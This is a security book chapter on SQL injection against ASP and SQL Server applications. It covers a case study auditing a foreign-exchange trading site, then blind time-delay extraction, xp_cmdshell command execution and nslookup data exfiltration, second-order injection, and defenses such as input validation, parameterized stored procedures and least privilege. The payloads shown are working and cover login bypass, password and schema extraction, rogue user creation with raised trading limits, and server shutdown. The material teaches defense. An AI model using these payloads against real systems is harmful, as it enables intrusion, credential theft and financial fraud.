CHAPTER 9

SQL Injection: When Firewalls Offer No Protection

IN THIS CHAPTER:

SQL Injection Basics

Case Study: Online Foreign Exchange System

Advanced Topics

SQL Injection Defense

Best Practices

Most companies that have an online presence these days will have a firewall of some kind. The purpose of a firewall is to filter network traffic that passes into and out of an organization's network, limiting use of the network to permitted, "legitimate" users.

One of the conceptual problems with relying on a firewall for security is that the firewall operates at the level of IP addresses and network "ports"—in the OSI model of network protocols, the firewall is a service at layers 3, 4, and 5 (network, transport, and session layers, respectively). Consequently, a firewall doesn't understand the details of higher-level protocols such as HTTP (Hypertext Transfer Protocol, the protocol that runs the Web).

There is a whole class of attacks that operate at the application layer of the OSI model (OSI layer 7), and that by definition pass straight through firewalls. SQL injection is one of these attacks.

SQL Injection Basics

The basic idea behind SQL injection is that an attacker manipulates data passed into a web application to modify the query that is run in the back-end database. This might seem relatively innocuous at first sight, but it can be extremely damaging. The following sections describe SQL injection in depth and some of the steps that can be taken to defend against it.

One of the most worrying aspects of SQL injection is that the most straightforward way of querying a database from an application almost inevitably results in some form of SQL injection bug. The mistakes that result in SQL injection are very easy to make, even if you are aware of them (and most web developers aren't).

Another difficulty faced by organizations that want to rid their infrastructure of SQL injection bugs is that most of the publicly available advice on fixing the problem is flawed in some way, or omits crucial information. For example, the most common "fix" is to replace each occurrence of a single-quote character with two single-quote characters, effectively "escaping" the single quotes. This doesn't completely solve the problem, for reasons we'll go into later in this chapter. First, we'll look at how several SQL injection bugs were found in a real application.

Case Study: Online Foreign Exchange System

This case study concerns a web application running on an Internet Information Server (IIS) web server with a SQL Server database as the back end. The system is an online trading system designed to permit foreign exchange traders to have access to the crucial parts of their trading environment over the Internet. Security is the most critical requirement for the system, for fairly obvious reasons—foreign exchange trades generally involve very large amounts of money, and the potential damage that accidental loss or deliberate fraud could cause is large.

Since the application is so security-sensitive, an external security audit team is called in to examine both the application and the environment it is running in for potential security flaws, including SQL injection.

Audit Techniques

The audit team starts by running a large number of vulnerability-analysis tools against the web site and its associated infrastructure. While these scripts are running, the team begins the more demanding work of attempting to understand how the application works, to identify the components involved and the trust relationships between them. Once the team has a good idea of the structure of the application, the real work of attempting to find the cracks between the different components begins.

Vulnerability Identification

Auditing a web application for security holes is still something of a "black art," despite a fairly large amount of literature on the subject. The basic technique the audit team uses in this case is to first identify all the *dynamic* components of the application—that is, all the components that accept some user input and process it in some way. Once these components are identified, the team attempts to change the behavior of these components in some way that has a security impact. For example, a script that creates an image file in a temporary directory and then allows the image to be downloaded might be "persuaded" to download the source code for an ASP script rather than the image file.

For example, the URL www.example.com/getimage.asp?f=12345678&e=gif might download the file 12345678.gif from the e:\temp_images directory, but the URL www.example.com/getimage.asp?f=..\trader\maketrade.asp%00&e=gif might download the source code of the maketrade.asp file. The problems in this example are that the developer hasn't accounted for the possibility that the f parameter might contain a parent path sequence (..\) and that the filename string that the script is creating can be terminated by passing a null character (%00) that enables an attacker to specify file extensions other than .gif.

These are essentially the sorts of web application bugs the audit team is looking for—anything that would allow an attacker greater control over the system.

When auditing for SQL injection bugs, the team works through every field on every web form, every parameter passed to scripts in the query string, and every value stored in cookies, and attempts the following:

- Insertion of a character sequence consisting of a single quote, double quote, hash, and double pipe: '"#||
- Insertion of SQL reserved words separated by various whitespace delimiters (tab, carriage return, linefeed, and space), like this: %09select
- Insertion of sequences designed to make SQL Server wait while executing a query, like this:

```
'+waitfor+delay+'0:0:10'--
```

NOTE

With sufficient access and permissions, it is preferable to run SQL Profiler on the application while these tests are going on so that you are not dependent on error messages to detect SQL injection vulnerabilities.

These are examples of inputs that are specifically designed to elicit error messages from SQL Server or to cause the server to exhibit some behavior that shows that SQL injection is possible.

The audit team finds SQL injection in many places in the application, notably the login page (which accepted a username and password). The audit team next attempts to see whether these problems are really exploitable.

Exploiting the System

The login page consists of an HTML form with two values, “username” and “password.” The login request is a “post” to an Active Server Pages (ASP) script that performs a lookup in the back-end SQL Server database to determine whether the user exists and, if so, to obtain various profile information about the user, such as trading limits and so on.

The audit team wants to demonstrate several types of attack, if possible:

- The creation of a new user, with an arbitrary trading limit
- Execution of trades by that user
- System-level attacks—manipulation of the file system and registry of the server

The following is a code snippet from the ASP page that handles the login request:

```
     username = Request.form("username");
     password = Request.form("password");
     var rso = Server.CreateObject("ADODB.Recordset");
     var sql = "select * from users where username = '" + username +
"' and password = '" + password + "'";
     rso.open( sql, cn );
```

A lot of ASP code that communicates with databases looks like this.

NOTE

Sadly, many books and magazines use this type of code to teach new programmers, because input-validation routines can be quite complex and confuse new programmers. The result is that there may be quite a bit of this kind of code still lurking around.

The 'username' and 'password' parameters are taken from the submitted form values and placed directly into the query. So, for example, if the user supplies the username 'fred' and the password 'sesame', the query would look like this:

```
select * from users where username = 'fred' and password = 'sesame'
```

This will return a row only if a user called 'fred' exists, and fred's password is 'sesame'. The problem occurs when the audit team inserts a single-quote character in the username or password:

Username: fr'ed
Password: sesame

Doing so results in this query:

```
select * from users where username = 'fr'ed' and password = 'sesame'
```

which returns the following error:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect
 syntax near 'ed'
/process_login.asp, line 46
```

NOTE

Most production systems disable the display of error messages. You may want to re-enable the display of error messages as part of the testing process.

This error is returned because the "username" string was terminated by the single quote, and the remainder of the username was executed as part of the SQL query. The audit team can do all sorts of interesting things with this, such as log on as the "first" user in the database by inputting the following:

```
Username: ' or 1=1--
```

This works because the query becomes:

```
select * from users where username = '' or 1=1--' and password = ''
```

(The '--' sequence begins a single-line comment in Transact-SQL, so SQL Server ignores everything after that point in the query.)

This query will return the entire contents of the 'users' table. Since the application retrieves the first row of the resultset and treats that as the logged-in user, we are logged in automatically. If we know the name of a user, we can log on as them without knowing their password by entering a 'username' like this:

```
Username: ' or username='asmith'--
Password:
```

We don't even need the single-line comment sequence '--', since this username will produce the same result:

```
Username: ' or username='asmith' union select * from users where 'a'='
```

If we wanted to, we could change a user's password, drop the 'users' table, create a new database—we can effectively do anything we can express as a SQL query that the application has privileges to do, including (potentially) running arbitrary commands, creating and running DLLs within the SQL Server process, or sending all the data off to some server out on the Internet.

So, returning to our initial 'exploit' list, our first task is to create a user. Before we do this, we must first work out what fields in the 'users' table we need to write to, and what their values should be.

Fortunately, SQL Server returns very helpful error messages. For example, in our sample application, the following username will print the version of SQL Server in an error message:

```
Username: ' and 1 in (select @@version)--
```

The error message is

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation
Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) '
to a column of data type int.
/process_login.asp, line 46
```

This indicates that the base operating system is running Service Pack 3, but that the SQL server is unpatched. There are a number of buffer overflow and format string attacks an attacker could use to execute arbitrary code on the SQL server (such as the 'pwdencrypt' buffer overflow referenced at http://www.cert.org/advisories/CA-2002-22.html). That said, the attacker would probably not need to go quite that far; SQL injection would normally allow the hacker to control the server.

The following query displays the 'admin' password for the application in the error message:

```
Username: ' or 1 in (select password from users where username='admin')--
```

This results in the following error message:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'fimbar435!' to a column of data type int.
/process_login.asp, line 46
```

The following username returns the 'id' of the 'users' table:

```
Username: ' or 1 in (select 'a'+str(id) from sysobjects where
name='users')--
```

The returned error message is

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'a 2815072' to a column of data type int.
```

Then we can retrieve the names of the columns by using usernames like this:

```
Username: ' or 1 in (select name from syscolumns where id = 2815072
and colorder > 0)--
```

```
Username: ' or 1 in (select name from syscolumns where id = 2815072
and colorder > 1)--
Username: ' or 1 in (select name from syscolumns where id = 2815072
and colorder > 2)--
```

It turns out that the names of the columns are (in order):

id, username, password, transaction_limit, settings_file

So, now we need to know what sort of values are normally placed in these columns.

The following line returns the maximum 'id' value:

```
Username: ' or 1 in (select 'a'+str(max(id)) from users)--
```

We can make up the username and password; we need to see what a normal transaction limit looks like. This username returns the maximum transaction limit:

```
Username: ' or 1 in (select 'a'+str(max(transaction_limit)) from users)--
```

This username returns a 'settings_file' value:

```
Username: ' or 1 in (select settings_file from users)--
```

So, we can now add a user, by submitting the following username:

```
Username: '; insert into users
 values(5,'test','test',10000000,'d:\userprofiles\admin.prof')--
```

We've created a user with a 10 million dollar trading limit. Of course, if we find that too restrictive, we can set that limit, or indeed any other user's limit, like this:

```
Username: '; update users set transaction_limit=100000000 where
username='test'--
```

This gives us a limit of 100 million dollars.

Since we can log on as this user, we can execute the trades normally, using the web application in the same way that a normal user would. In fact, we could trade as someone else fairly easily, since we can easily log on as any other user.

Analysis of Case Study

Several simple mistakes were made in the design and implementation of both the foreign exchange application and the SQL server. First, the application placed user input unmodified directly into the SQL query—this is never a good idea. The SQL server was installed in an almost default configuration, with many of the extended stored procedures available to even the public role.

Two other serious configuration mistakes (besides the aforementioned SQL injection problems) were the following:

- Having the application connect to the database as ‘sa’
- Installing SQL Server to run under the ‘SYSTEM’ (or LocalSystem) account

The impact of these mistakes is that they give control of the database server immediately to the audit team.

Advanced Topics

When performing security audits of SQL Server-based applications, you may meet challenges that stymie your attempts at penetration. For those situations, you may need to use more advanced methods to gain access. In addition, it is important to understand the specifics of the platform you are attempting to penetrate so that you maximize your options.

Extracting Information Using Time Delays

It is possible to configure a web server in such a way that no “useful” error messages are returned from the application. In this case, it is still possible for the attacker to extract information from the database, although the procedure is quite technical and a little time-consuming. The basic idea is that the attacker can make the query that the database server is executing pause for a measurable length of time in the middle of execution, based on some criteria. For example, the following query will pause if the current user is a ‘sysadmin’:

```
if( is_srvrolemember('sysadmin')>0) waitfor delay '0:0:5'
```

Since all data in the database is just a pattern of bits, individual bits can be extracted from the database using this technique. For example, the following query will pause for five seconds if the first bit of the name of the current database is ‘1’:

```
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'
```

The attacker can therefore issue multiple (simultaneous) queries via SQL injection, through the web server and into the SQL server, and extract information by observing which queries pause and which do not. This technique was used in a practical demonstration across the Internet and achieved with good reliability a bandwidth of about 1 byte per second. This technique is a real, practical (but low bandwidth) method of extracting information from the database.

System Level Exploitation

If SQL injection is present in an application, the attacker has a wealth of possibilities available to them in terms of system-level interaction. The extended stored procedure interface provides a flexible mechanism for adding functionality to SQL Server. The various built-in extended stored procedures allow SQL Server administrators to create scripts that interact closely with the operating system. This section gives a few short examples of the sorts of things that an attacker can do at a system level using SQL injection.

Run a command line (by default, this requires the application to be running as a member of the system administrator SQL Server role):

```
asmith'; exec xp_cmdshell 'dir > c:\foo.txt'--
```

From the attacker's point of view, this is not terribly satisfactory, since they only have a few ways of getting information out of the network they are targeting. Normally, the SQL server is buried deep in the target network, so very few types of network traffic will be able to make their way out. Normally, the only things that are likely to be permitted out from the SQL server are DNS queries and HTTP traffic, and even then, the server may not be able to contact the attacker's network. Use the following trick to pass information out from a SQL server:

```
asmith'; exec xp_cmdshell 'nslookup thisisatest 192.168.1.1'--
```

The SQL server will perform a DNS lookup of the host 'thisisatest' on the DNS server 192.168.1.1. If the attacker has a network packet sniffer listening, it is easy to extract the textual information from the query.

Probably the best alternative for the attacker in terms of extracting information from a command line is to place the output into a temporary table and then return that data using the error-message or time-delay technique previously outlined.

The following username will create a temporary table called #foo and populate it with a list of the user accounts on the SQL server:

```
'; create table foo(a int identity(1,1), b varchar(4000)); insert into
foo exec xp_cmdshell 'cmd /c net user'--
```

The lines of output can then be returned by requesting each particular line by its value in column 'a':

```
' or 1 in (select b from foo where a=1)--
```

The attacker can then list the returned rows of output by increasing the value of 'a'.

Other useful extended stored procedures (to an attacker) are those in the sp_OA family:

sp_OACreate
sp_OADestroy
sp_OAGetErrorInfo
sp_OAGetProperty
sp_OAMethod
sp_OASetProperty
sp_OAStop

These functions allow an attacker to create and manipulate ActiveX objects. ActiveX objects can be used to perform almost any administrative task on a machine, including administration of the Active Directory, IIS, and the server itself.

The registry extended stored procedures can be used to directly access the registry, which can lead to the execution of arbitrary commands as well as a variety of subtle reconfigurations of the server:

xp_instance_regaddmultistring
xp_instance_regdeletekey
xp_instance_regdeletevalue
xp_instance_regenumkeys
xp_instance_regenumvalues
xp_instance_regread
xp_instance_regremovemultistring
xp_instance_regwrite
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremove

NOTE

Not all of the extended stored procedures mentioned in the previous two lists are accessible by all users. The lower the level of privilege your programs are running under, the fewer the number of procedures malicious users will be able to execute.

Several other dangerous extended stored procedures exist; a more comprehensive list can be found in Appendix A.

Why SQL Server Is Prone to SQL Injection

Although almost all database systems are vulnerable to SQL injection, SQL Server is especially easy to exploit in this way because of several features of the Transact-SQL language:

- The single-line comment character sequence: --.
- The query-batching feature—you can run multiple queries in a single batch, separated by the semicolon (;) character. In some circumstances, you don't even need the semicolon.
- SQL Server outputs extremely informative error messages.
- Implicit type conversion—integers are implicitly converted to strings where appropriate, making it easier for an attacker to "guess" valid types in a 'union select' statement.

Not all databases have these features. For example, Oracle lacks the query-batching feature, as does MySQL. It is unfortunate that some of the very features that make SQL Server such a usable and friendly database to work with also make it slightly more amenable to SQL injection attacks.

Attack Vectors

SQL injection can enter an application in a number of ways; the following is an attempt at a comprehensive list. It may contain some possibilities that you hadn't considered.

- Web server scripts that use query string parameters; for example, http://www.example.com/query.asp?username=fred
- Form parameters (including hidden fields)

- Cookie values
- HTTP request headers; for example, Host, User-Agent, Pragma, Cache-Control, Accept, and so forth
- Existing data in the database (see the sections "Input Validation" and "Second Order SQL injection" later in the chapter)
- Registry keys/values
- Filenames

Injection in Numeric Fields

In the example analyzed in the section "Exploiting the System," the query incorporated two literal string values. SQL injection was only possible because we could insert literal single-quote (') characters in the user-supplied data. If the query had included a numeric field—say, pin number rather than password—we wouldn't even have needed the single quote.

Suppose the code processing the login form (using a pin number rather than a password) looked like this:

```
     username = Request.form("username");
     pin = Request.form("pin");
     var rso = Server.CreateObject("ADODB.Recordset");
     var sql = "select * from users where username = '" + username +
"' and pin = " + pin;
     rso.open( sql, cn );
```

We could inject SQL by just appending some whitespace character to the end of the 'pin', followed by our SQL statements:

```
Username: asmith
Pin:  or 1 in (select @@version)--
```

It is therefore important when dealing with numeric values to verify that numeric user input is indeed numeric. The VBScript isnumeric() function is an example of how this can be achieved.

Injection in Cookies

Many developers forget that the user can supply values in cookies as well as in form fields and query strings. If your application uses cookies, make sure that the same input validation is applied to values that are submitted in cookies (for example, session IDs) as is applied to form fields and query strings.

Second-Order SQL Injection

This problem occurs when data input to the application is “escaped” to prevent SQL injection, but then reused in “unescaped” form in a query. For example, suppose we change our login handling page (described in the section “Exploiting the System”) to escape single quotes:

```
     username = escape( Request.form("username") );
     password = escape( Request.form("password") );
     var rso = Server.CreateObject("ADODB.Recordset");
     var sql = "select * from users where username = '" + username +
"' and password = '" + password + "'";
     rso.open( sql, cn );
```

The escape function looks like this:

```
function escape( str )
{
     var s = new String( str );
     var ret;
     var re = new RegExp( "'", "g" );
     ret = s.replace( re, "''" );
     return ret;
}
```

It is important to note that the Jscript ‘String’ object has a slight foible in the implementation of the ‘replace’ method—the following code will only replace the first instance of a single quote:

```
function badescape( str )
{
     var s = new String( str );
     var ret;
     ret = s.replace( "'", "''" );
     return ret;
}
```

To return to second-order SQL injection, the attacker cannot now inject SQL using any of the examples we have described.

However, suppose the application allows a user to change their password. The ASP script code first ensures that the user has the old password correct before setting the new password. The code might look like this:

```
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
```

```
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and
 password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{
…
```

The query to set the new password might look like this:

```
sql = "update users set password = '" + newpassword + "' where username
= '" + rso("username") + "'"
```

In this example, rso ("username") is the username retrieved from the 'login' query.

Given the username admin'--, the query produces the following query:

```
update users set password = 'password' where username = 'admin'--'
```

The attacker can, therefore, set the admin password to the value of their choice, by registering as a user called admin'--.

This emphasizes the importance of always applying input validation, even to data that is already in the system, before including that data in a query.

SQL Injection Defense

Take heart; there are defenses for SQL injection. In fact, preventing SQL injection in applications is quite simple. The real challenge is finding a way to make your coding consistent so that good practices are followed 100 percent of the time. Next, we'll discuss some of the methods and practices that will best help you protect your applications.

Input Validation

We have already touched on the importance of input validation. It is a tricky subject and there are many subtle pitfalls. This section attempts to illuminate these pitfalls, and describe some good general philosophies for implementing input validation.

Methods of Input Validation

There are several broad approaches to input validation. A few of them are

- Allow only input that is known to be good
- Strip bad input
- Escape bad input
- Reject bad input

These different approaches are not necessarily mutually exclusive, and a strong input-validation mechanism will generally combine several different approaches.

Allowing only input that is known to be "good" is probably the most restrictive approach. The idea is that for each "type" your application uses—for example, telephone number, username, password, and e-mail address—you define a set of permitted characters. The input-validation routine verifies that every character in the input is in the permitted character set for the specified type. If any character is not in the "good" list, the entire input string is rejected.

Stripping bad input is moderately difficult to implement, since there is rarely a good definition of "bad." In the case of SQL injection, you might define "bad" as being any word in the SQL reserved words list, and all of the operators. Unfortunately, the sentence

> 'Any user values money'

consists exclusively of reserved words, but makes perfect sense. Also, there are a number of ways of encoding SQL statements; the following examples all execute:

```
select @@version
exec('select @@version')
exec('se'+'lect @@version')
exec('se'+'lect @'+'@version')
declare @q varchar(80); set @q = 0x73656c65637420404076657273696f6e; exec(@q)
```

Escaping bad input is a solution that is generally only applied to delimiting characters. The objective is to make the delimiter a part of the data in the string. As a concrete example, strings in SQL Server can be delimited by a number of characters, but let's assume that a string is delimited by the single-quote character:

```
print 'mary had a little lamb'
```

Suppose we want the string to contain a single quote so that the string will be output as

```
mary o'malley had a little lamb
```

We would escape the single quote using a single-quote character, as follows:

```
print 'mary o''malley had a little lamb'
```

In general, escaping single quotes is a sensible way of helping to mitigate SQL injection attacks, but it is not a complete cure. Suppose, for example, the application referenced in the section "Exploiting the System" imposes a length limit on the string variables it uses for 'username' and 'password'. This is a sensible policy, since it will help reduce the chance of a buffer overflow somewhere deeper in the application.

Suppose the username has a length limit of 16 characters, and we are escaping single quotes. Let's look at the SQL queries that result from some possible inputs:

```
Username: o'malley
Password: foobar
Query: select * from users where username = 'o''malley' and password
= 'foobar'
Username: o''''''''
Password: foobar
Query: select * from users where username = 'o'''''''''''''''' and
password = 'foobar'
```

Note that the username in the query has been truncated to 16 characters. Each single-quote character has been replaced with two single-quote characters, as expected, but the final single-quote character has been dropped from the end of the string because of the length limit.

So, the username in the select statement is actually

```
o'''''''' and password =
```

If the attacker were to place a SQL statement in the password field, it would execute. Since the length is limited to 16 characters, it might be tricky to compromise the server with it, but the attacker could certainly drop tables or shut down the server. The following 'password' will shut down the SQL Server service, given appropriate privileges:

```
Password: ; shutdown--
```

So, escaping "bad" characters is generally a good idea, but you should be careful about length limits.

Rejecting bad input is probably the most stringent and "secure" way of handling input validation—if something doesn't correspond exactly to what you expect, don't try to modify it, strip it, or escape it, just refuse to process it.

Input Validation Best Practices

Some best practices for input validation are to do the following:

- Define the datatypes that the application will use at design time (for example, Telephone Number, Forename, Surname, Integer, and so on).
- Implement stringent "allow only good" filters for those types:
    - If the input is supposed to be numeric, use a numeric variable in your script to store it.
    - Reject bad input rather than attempting to escape or modify it.

- Implement stringent "known bad" filters for all data. If you have to allow bad data in a given field, either escape it (if it is a single character, such as a single quote or pound sign, #) or encode it in some form that cannot contain the bad data (for example, hex encoding or Base64).

Identifying Poor Designs

Some application designs are more vulnerable to SQL injection than others. This section discusses how to build immunity to SQL injection into your application at design time, and hopefully bypass all of the problems that retrofitting SQL injection fixes can cause.

Address Problems at Design Time

Some types of security issues can be addressed at design time, some cannot. In general, the risk of SQL injection to an organization can be greatly mitigated if its applications are well designed and implemented in a controlled manner. There will always be the risk of rogue scripts sitting on web servers, however, so it makes sense to design the whole SQL Server environment with a view to "strength in depth."

How Design Problems Occur

Design problems tend to occur because the development team is under huge time pressure, resulting in a "quick fix" attitude toward the creation of web application scripts and other application components. Even in the presence of good guidelines and controls, problems can occur simply because management wants it done "now!"

In this kind of situation, it is still possible to have an application architecture that is not vulnerable to SQL injection. The trick is to make the "default" method of querying the database a secure method that uses the (hopefully common) input-validation code.

An example of this would be an infrastructure in which the web scripts use COM objects written in Visual Basic or Java to communicate with the database. If these COM objects are the only way of easily interpreting the data from an ASP script, then a developer attempting a quick fix will have to use them. Hopefully, these objects will be coded in such a way that they will actually make the developer's job easier.

If it is impossible or impractical to use objects outside of web scripts to implement database connectivity, then a set of common functions can be prepared that performs the same function. The idea here is that the easiest way to talk to the data should be through the input validation code.

It is extremely important to get the input validation code written early, since in most applications, implementing input validation will mean extra code and extra time. It's important that the code be easy to use, because if using it means more work, developers in a hurry won't use it.

Insecurity As a Feature

Some application designs build in the ability to run a query of the user's choice. This isn't, strictly-speaking, SQL injection, since the application is explicitly permitting it, but it falls into the same general class of threat. This is an exceptionally dangerous practice. A large number of buffer-overflow attacks have been found in SQL Server in recent years, some of which simply require the ability to run an arbitrary query on the server. If a user can submit the SQL of their choice, there are a multitude of ways that they can escape from the user context they are "trapped" in, and take control of the server. Unless your application absolutely must do this, avoid executing queries specified by the user at all costs.

Strong Designs

So, what is a strong application design in terms of SQL injection? Well, as previously discussed, the aim is to make the easiest path to querying the database secure; security will flow from this.

The next step is, wherever possible, to restrict the actions of web applications to stored procedures and call those stored procedures using some parameterized API. Seek documentation on the ADODB.Command object for more information.

The basic idea here is that the underlying mechanism that packages parameters to stored procedures called in this way is apparently not vulnerable to SQL injection.

At the time of writing, using the ADODB.Command object (or similar) to access parameterized stored procedures appears to be immune to SQL injection. That does not mean that no one will be able to come up with a way of injecting SQL into an application coded this way. It is extremely dangerous to place your faith in a single defense; the best practice, therefore, is to always validate all input with SQL injection in mind.

Use the Principle of Least Privilege

The architecture of the application should employ the principle of least privilege: a process should be granted only the rights needed to perform its function.

The implications of this principle in terms of architecture can be severe. For example, it means that SQL Server user accounts that the application uses should be limited to the application's data. Ideally, an application might have several "data access roles" that define some access-control schema within the application's data with greater granularity. For example, an application might use 'guest', 'user', and 'admin' SQL Server accounts that have varying permissions to the application's data, and are used in different circumstances.

Secure the Server Even If the Design Is Strong

Securing an application should be a process of weighing risk against resources. The idea is to get the most "bang per buck" spent on security. With this in mind, it makes no sense to focus solely on locking down the application and pay no attention to the security of the server itself. New server-level vulnerabilities (as distinct from application-level vulnerabilities) are being discovered all the time. These vulnerabilities must be patched or worked around if the database is to remain secure. An additional benefit of a really good SQL Server lockdown is that it can greatly mitigate the impact of SQL injection flaws in applications. Although SQL Server lockdown is addressed in greater depth in other chapters of this book, the following factors have a great impact on an attacker's ability to successfully exploit SQL injection:

- Running SQL Server as a low-privilege user account (rather than the local SYSTEM account).
- Restricting execution of extended stored procedures such as xp_cmdshell, xp_execresultset, xp_regread, and xp_regwrite to SQL Server system administrator role members only.
- Changing permissions on some system objects to revoke access to "public".
- Removing per-authenticated linked servers (if any are present).
- Firewalling the SQL server such that only trusted clients can contact it—in most web environments, the only hosts that need to connect to the SQL server are the administrative network (if you have one) and the web server(s) that it services. Typically, the SQL server needs to connect out only to a backup server. Remember that SQL Server 2000 listens by default on named pipes (using Microsoft networking on TCP ports 139 and 445) as well as TCP port 1433 and UDP port 1434 (the port used by the SQL "Slammer" worm).

If the server lockdown is good enough, it should be able to help mitigate the risk of the following:

- Developers uploading unauthorized/insecure scripts and components to the web server
- Misapplied patches
- Administrative errors

Best Practices

This section is a quick roundup of the best practices outlined in various places elsewhere in this chapter.

Design

Like most other endeavors, good planning is essential to success. Make sure to choose mechanisms in the design process that will lead to greater security in your application before you write the first line of code.

- Aim for strength in depth; at design time, consider the application, the database server, the network and the operating system, the patching policy, and the audit policy.
- Design input validation into the "easiest path" to querying the database.
- Design the application with different data access roles in mind.

Development/Implementation

During development it is important to make sure all developers comply with your processes. The processes should at least consist of the following:

- Apply change control and version control.
- Use a parameterized API and stored procedures wherever possible.
- Write generic input validation routines and make sure they are used everywhere.
- Perform a security code review; offer prizes for each security bug found.

QA/Testing

Requiring developers to comply with the processes is one thing, but you must also have a way to know when they have failed to do so. A solid quality assurance and testing program will let you know when they have strayed from the path.

- Make sure some quality assurance has been performed before you deploy your application. Depending on your approach to QA (and your resources), this might be anything from a few people poking at the application with a web browser up to a whole QA department going at it hammer and tongs with automated testing tools.

- The important thing is to test for SQL injection from an external, attacker's point of view. Often, complex application architecture and labyrinthine source codes can hide security bugs that are blindingly obvious to an external, "blind" attacker.

Deployment

You should have a plan for your application deployment. It should, at a minimum, provide answers to the following questions:

- Who can administer the web server?
- Who can administer the database server?
- How will emergency changes to the application be applied?
- What happens if there's an incident?
- Who is called to respond to it and how can they be contacted?
- Who has the authority to pull the plug on the application/web server?